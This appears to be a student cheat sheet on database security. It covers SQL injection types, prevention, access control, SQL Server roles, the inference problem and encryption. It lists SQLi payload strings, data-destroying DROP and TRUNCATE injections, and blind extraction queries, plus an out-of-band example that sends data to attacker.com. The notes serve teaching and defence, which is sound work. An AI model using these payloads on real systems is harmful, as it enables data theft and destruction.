April 22, 2026

Chapter 11 — Database Security Cheat Sheet

Chapter 11 — Database Security Cheat Sheet


1. SQL Injection (SQLi) — Core Concepts

SQL Injection — Inserting or "injecting" malicious SQL code into an input field so it is executed by the database.

Root Cause — User input is concatenated directly into a SQL string instead of being treated as data.


2. SQL Injection Characters

CharacterMeaning
' or "String delimiter / string indicator
-- or #Single-line comment (ignores rest of line)
/* … */Multi-line comment
;End of statement (enables piggybacking)
+Addition / concatenation (or space in URL)
||Double-pipe — concatenation
%Wildcard attribute indicator

Special Character Meanings

CharacterMeaning
'String delimiter
"Identifier / string (DB-dependent)
--Comment
;End of statement

3. Injection via Single Quote '

Three-step process:

  1. Terminate the original string
  2. Inject additional SQL logic
  3. Bypass authentication or extract data

Example 1 — Comment Bypass

-- Normal query:
SELECT * FROM users WHERE username = 'admin' AND password = 'pass';

-- Injected input: username = admin' --
SELECT * FROM users WHERE username = 'admin' --' AND password = 'pass';
-- Everything after -- is ignored → password check bypassed

Example 2 — Always-True (Tautology)

-- Input: username = ' OR '1'='1  /  password = ' OR '1'='1
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1';
-- '1'='1' is always true → returns ALL rows

Example 3 — Injecting Through Strings

formusr = ' or 1=1 --
formpwd = anything
→ SELECT * FROM users WHERE username = '' or 1=1 -- AND password = 'anything'

Example 4 — Comment Drops Condition

-- Normal:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
-- Injected: category = Gifts'--
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
-- Result: released=1 condition bypassed; all Gifts shown

4. Common SQLi Patterns

' OR '1'='1
' OR 1=1--
' UNION SELECT ...
' DROP TABLE users--
admin' --
admin' #
admin'/*
1' AND 1=1 --
' OR EXISTS(SELECT * FROM users) --
' AND (SELECT COUNT(*) FROM users) > 0 --

5. What Attackers Can Do via SQLi

  • Add data — INSERT malicious records
  • Modify data — UPDATE prices, passwords, etc.
  • Delete data — DROP TABLE (entire table destroyed)
  • Obtain credentials — Gain access to other users' accounts

Malicious DROP Example

-- Input: blah '; DROP TABLE prodinfo; --
SELECT prodinfo FROM prodtable WHERE prodname = 'blah'; DROP TABLE prodinfo; --'
-- Entire table is deleted

6. SQLi Attack Avenues

AvenueDescription
User inputCrafted input in form fields
Server variablesForged HTTP/network headers
Second-order injectionStored safe, triggered later
CookiesAltered cookies used in queries
Physical user inputAttacks outside web requests

7. SQLi Attack Types

Inband Attacks

Uses the same channel to inject and retrieve data. Results appear directly in the web page.

TypeDescription
TautologyInjects always-true conditions (OR '1'='1') to bypass WHERE clause
End-of-Line CommentUses -- to nullify rest of query
Piggybacked QueriesAppends extra queries via ;

Tautology Example:

SELECT * FROM users WHERE name = '' OR '1'='1';

End-of-Line Comment Example:

SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'

Piggybacked Query Example:

SELECT * FROM customers; TRUNCATE TABLE customers;

Union SQL Injection:

-- Original:
SELECT Name, Phone, Address FROM Users WHERE Id=$id
-- Injected: $id = 1 UNION ALL SELECT creditCardNumber, 1, 1 FROM CreditCardTable
SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT creditCardNumber, 1, 1 FROM CreditCardTable

Inferential (Blind) Attacks

No actual data transferred — attacker reconstructs information by observing behavior.

TypeDescription
Illegal/Logically Incorrect QueriesError messages reveal DB structure (preliminary/info-gathering step)
Blind SQLiNo output visible; attacker infers from app behavior

Boolean-Based Blind SQLi

-- Test: ?id=5 AND 1=1  → page loads normally ✓
-- Test: ?id=5 AND 1=2  → page shows error ✗
-- Inference: DB is processing conditions
-- Extract version: ?id=5 AND (SELECT SUBSTRING(version(),1,1))='5'
-- → Brute-force character by character

Time-Based Blind SQLi

-- Test: ?id=5 AND SLEEP(5)
-- If page pauses 5 seconds → injection works
-- Extract DB name: ?id=5 AND IF(SUBSTRING(DATABASE(),1,1)='s', SLEEP(5), 0)
-- If pauses → first letter is 's'; repeat for each character

Out-of-Band (OOB) Attacks

Attacker doesn't get results in the response — instead triggers DB to send data to an attacker-controlled server via DNS/HTTP.

Used when: App shows no errors/results, but DB supports external network interactions.

ChannelDescription
DNSDB triggers DNS request; attacker sees subdomain
HTTPDB sends data via UTL_HTTP, xp_dirtree
FileDB reads/writes files on attacker's server
Email(Rare) Triggers email to attacker

OOB-Capable Functions by DBMS:

DBMSFunctions
MySQLLOAD_FILE(), INTO OUTFILE, DNS via UNC path
SQL Serverxp_dirtree, xp_cmdshell, OPENROWSET
OracleUTL_HTTP, UTL_INADDR, DBMS_LDAP
PostgreSQLCOPY TO PROGRAM, COPY FROM PROGRAM, dblink

DNS-Based OOB Example (MySQL):

-- Query: SELECT * FROM users WHERE id = '$id';
-- Malicious input: 1; SELECT LOAD_FILE('\\attacker.com\share');
-- → DB resolves UNC path → DNS/HTTP request sent to attacker.com

Second-Order SQL Injection

Malicious input is stored safely but triggered later when retrieved and used unsafely in another query.

StepWhat Happens
1. Input storedAttacker injects payload into a form
2. App stores itSaved in DB with no immediate issue
3. Re-used laterApp uses stored value in another query unsafely
4. Injection firesSQL injection happens — delayed but deadly
-- Step 1: User registers with name: John'; DROP TABLE users; --
INSERT INTO users (name) VALUES ('John''; DROP TABLE users; --');  -- stored safely

-- Step 2: App later retrieves name and builds query unsafely:
query = "SELECT * FROM users WHERE name = '" + stored_name + "'";
-- Becomes: SELECT * FROM users WHERE name = 'John'; DROP TABLE users; --'
-- BOOM! Table dropped.

8. SQL Escape Characters (Full Table)

Escape SequenceCharacter
\0ASCII NUL (x'00')
\'Single quote '
\"Double quote "
\bBackspace
\nNewline (linefeed)
\rCarriage return
\tTab
\zASCII 26 (Control+Z)
\\Backslash \
\%Percent %
\_Underscore _

Common SQL Escape Characters (Quick Reference)

CharacterEscaped AsMeaning
'''Escapes a single quote
"\" or ""Escapes a double quote
\\\Escapes a backslash
% and _\% and \_Escaped in LIKE queries

Escaping Example:

-- User enters: O'Reilly
-- Breaks: SELECT * FROM authors WHERE name = 'O'Reilly';
-- Fixed:  SELECT * FROM authors WHERE name = 'O''Reilly';

9. SQLi Prevention — Primary Defenses

Option 1: Prepared Statements (Parameterized Queries) — BEST DEFENSE

Key concept: SQL query is predefined; user input inserted safely as data, not as executable SQL.

# Python (sqlite3)
query = "SELECT * FROM users WHERE username = ? AND password = ?"
cursor.execute(query, (username, password))
// Java (JDBC)
String query = "SELECT Name, Salary FROM Employee WHERE Salary > ?";
PreparedStatement pstmt = con.prepareStatement(query);
pstmt.setInt(1, 50000);
ResultSet rs = pstmt.executeQuery();
// PHP (PDO)
$sth = $dbh->prepare("SELECT email, userid FROM members WHERE email = ?;");
$sth->execute($email);

How it prevents attacks: SQL is parsed/compiled first; parameter values are combined with the compiled statement, not a SQL string. Even tom' or '1'='1 is treated as a literal string.

Prepared Statement vs Bound Variable:

  • Prepared statement = precompiled SQL query with placeholders (?)
  • Bound variable = safe values inserted into those placeholders
  • Together → SQL injection-proof

Prepared Statements Across Languages

LanguageExplicit Prepared Statement?
Java (JDBC)YES (PreparedStatement)
Python (sqlite3, psycopg2)Hidden (handled by execute())
PHP (PDO)YES (prepare())
Node.js (pg, mysql2)Depends (often implicit)

Option 2: Stored Procedures

Option 3: Allow-list Input Validation

  • Validate syntax of input (email, dates, part numbers)
  • Exclude quotes and semicolons where possible
  • Set length limits on input (many attacks depend on long strings)

Option 4: Escaping All User-Supplied Input

  • Use mysql_real_escape_string() (preferred in MySQL)
  • Escape: ' → \' and " → \"
  • In MySQL (with NO_BACKSLASH_ESCAPES disabled), backslash is the escape character

Additional Defenses

DefenseDetails
Least PrivilegeConnect as read-only user if only reading; never connect as DB admin in web app
Scan query stringsCheck for SQL keywords (INSERT, DROP) and validate
Limit DB permissionsSegregate users by role
Configure error reportingNever expose table/field names to users
Use WAFWeb Application Firewall (layer 7 protection)
Vulnerability scannerse.g., sqlmap — open-source penetration testing tool

WAF Options:

  • ModSecurity — popular open-source WAF (TrustWave)
  • NGINX WAF — based on ModSecurity, has audit logging UI

10. SQLi Countermeasures (Three Types)

TypeMethods
Defensive CodingManual defensive coding, parameterized query insertion, SQL DOM
DetectionSignature-based, anomaly-based, code analysis
Run-time PreventionCheck queries at runtime against model of expected queries

11. Database Access Control

Access Control System determines:

  • Whether user has access to the entire DB or portions
  • What access rights the user has (CREATE, INSERT, DELETE, UPDATE, READ, WRITE)

Administrative Policies

PolicyDescription
CentralizedSmall number of privileged users grant/revoke rights
Ownership-basedCreator of table may grant/revoke access
DecentralizedOwner may grant/revoke authorization rights to others

SQL Access Control Commands

GRANT  <privilege> ON <object> TO <user>;   -- grant access
REVOKE <privilege> ON <object> FROM <user>; -- remove access

Typical access rights: SELECT, INSERT, UPDATE, DELETE, REFERENCES


12. Role-Based Access Control (RBAC)

RBAC eases administrative burden and improves security.

DB RBAC Capabilities:

  • Create and delete roles
  • Define permissions for a role
  • Assign and cancel assignment of users to roles

Categories of Database Users

CategoryDescription
Application OwnerEnd user who owns DB objects as part of an application
End UserOperates on DB objects via application; does not own them
AdministratorHas administrative responsibility for part/all of the DB

Fixed Roles in Microsoft SQL Server

Fixed Server Roles:

RolePermissions
sysadminComplete control over all DB functions
serveradminSet server-wide config, shut down server
setupadminManage linked servers and startup procedures
securityadminManage logins, CREATE DATABASE permissions, change passwords
processadminManage processes running in SQL Server
dbcreatorCreate, alter, and drop databases
diskadminManage disk files
bulkadminExecute BULK INSERT statements

Fixed Database Roles:

RolePermissions
db_ownerAll permissions in the database
db_accessadminAdd or remove user IDs
db_datareaderSELECT all data from any user table
db_datawriterModify any data in any user table
db_ddladminIssue all DDL statements
db_securityadminManage all permissions, roles, role memberships
db_backupoperatorIssue DBCC, CHECKPOINT, BACKUP statements
db_denydatareaderDeny permission to SELECT data
db_denydatawriterDeny permission to change data

13. DB Access Control — Types of Security Controls

PreventativeDetectiveCorrective
PhysicalFences, Gates, LocksCCTV, SurveillanceRepair damage, Re-issue access cards
TechnicalFirewall, IPS, MFA, AntivirusIDS, HoneypotsVulnerability patching, Quarantine
AdministrativeHiring/Termination policies, Separation of dutiesReview access rights, Audit logsBusiness Continuity Plan, Incident Response

14. DB Inference Problem

Definition: Performing authorized queries and deducing unauthorized information from the legitimate responses.

Inference problem arises when:

  • Combination of data items is more sensitive than individual items
  • Combination can be used to infer data of higher sensitivity

Key Terms:

  • Metadata — knowledge about correlations/dependencies among data items used to deduce unavailable information
  • Inference channel — the information transfer path by which unauthorized data is obtained

Inference Detection — Two Approaches

ApproachDescription
During database designRemove inference channel by altering DB structure or changing access control regime; may result in unnecessarily strict controls
At query timeEliminate inference channel violation during a query; if detected, query is denied or altered

15. Database Encryption

Encryption = last line of defense in database security.

Security layers (outermost to innermost): Firewalls → Authentication → General Access Control → DB Access Control → Database Encryption

Can be applied at:

  • Entire database level
  • Record level
  • Attribute level
  • Individual field level

Disadvantages:

DisadvantageExplanation
Key managementAuthorized users must have access to the correct decryption key
InflexibilityEncrypted data is harder to search/index

Encryption Scheme Roles

RoleDescription
Data OwnerOrganization that produces data for controlled release
UserHuman entity that presents queries to the system
ClientFrontend that transforms user queries into queries on encrypted data stored on the server
ServerOrganization that receives encrypted data from owner and makes it available to clients

16. Quick Reference Summary

SQLi Attack Type Comparison

TypeChannelVisibilityKey Technique
Inband — TautologySameResults visibleOR '1'='1'
Inband — CommentSameResults visible-- to nullify rest
Inband — PiggybackedSameResults visible; to chain queries
Inband — UNIONSameResults visibleUNION SELECT to join tables
Inferential — Boolean BlindSameNo outputTRUE/FALSE responses
Inferential — Time-Based BlindSameNo outputSLEEP() delays
Out-of-BandDifferentNo outputDNS/HTTP exfiltration
Second-OrderStoredDelayedStored payload, triggered later

Defense Priority

  1. Prepared Statements / Parameterized Queries (primary)
  2. Stored Procedures (primary)
  3. Allow-list Input Validation (primary)
  4. Escape All User Input (primary)
  5. Least Privilege DB Accounts (additional)
  6. WAF (additional)
  7. Vulnerability Scanners (e.g., sqlmap)
  8. Error Message Hardening (never expose table/field names)